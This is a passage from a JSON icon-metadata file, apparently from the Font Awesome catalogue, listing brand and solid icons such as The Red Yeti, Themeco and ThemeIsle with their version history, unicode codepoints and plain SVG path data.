        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 128V96H192l0 128H176c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H256l0-128H384v32c0 17.7 14.3 32 32 32s32-14.3 32-32V80c0-26.5-21.5-48-48-48H224 48C21.5 32 0 53.5 0 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32zM9.4 361.4c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V416H320v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6v32H128V320c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 128V96H192l0 128H176c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H256l0-128H384v32c0 17.7 14.3 32 32 32s32-14.3 32-32V80c0-26.5-21.5-48-48-48H224 48C21.5 32 0 53.5 0 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32zM9.4 361.4c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V416H320v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6v32H128V320c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64z"
      }
    },
    "free": ["solid"]
  },
  "the-red-yeti": {
    "changes": ["5.3.0", "5.7.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f69d",
    "label": "The Red Yeti",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z"
      }
    },
    "free": ["brands"]
  },
  "themeco": {
    "changes": ["5.1.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5c6",
    "label": "Themeco",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z"
      }
    },
    "free": ["brands"]
  },
  "themeisle": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2b2",
    "label": "ThemeIsle",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z\"/></svg>",
